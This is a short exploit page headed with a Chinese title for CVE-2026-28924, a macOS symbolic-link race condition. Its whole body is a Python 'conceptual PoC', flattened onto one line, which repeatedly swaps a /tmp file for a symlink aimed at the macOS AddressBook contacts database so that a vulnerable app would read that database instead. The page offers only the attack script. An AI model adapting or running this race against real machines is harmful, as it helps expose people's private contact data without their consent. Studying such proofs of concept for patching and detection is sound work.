CVE-2026-28924 macOS符号链接竞态条件漏洞

import os import time # Conceptual PoC demonstrating a Race Condition on Symbolic Links # This script simulates the window of opportunity between a security check and file access. def symbolic_link_race_demo(): # The benign file that the app intends to access benign_file = "/tmp/safe_file.txt" # The sensitive target (e.g., Contacts database) sensitive_target = "/private/var/db/AddressBook/AddressBook.sqlitedb" print("[*] Creating benign file...") with open(benign_file, 'w') as f: f.write("This is safe content.") print("[*] Starting race condition loop...") try: for i in range(100): # Simulate the race: Swap the file with a symlink to the sensitive target if os.path.islink(benign_file): os.unlink(benign_file) elif os.path.exists(benign_file): os.remove(benign_file) # Create symlink pointing to sensitive data os.symlink(sensitive_target, benign_file) print(f"[+] Attempt {i}: Symlink created pointing to {sensitive_target}") # In a real exploit, the vulnerable app would read 'benign_file' now, # inadvertently following the symlink to the sensitive data. time.sleep(0.01) except Exception as e: print(f"Error: {e}") finally: # Cleanup if os.path.islink(benign_file): os.unlink(benign_file) if __name__ == "__main__": symbolic_link_race_demo()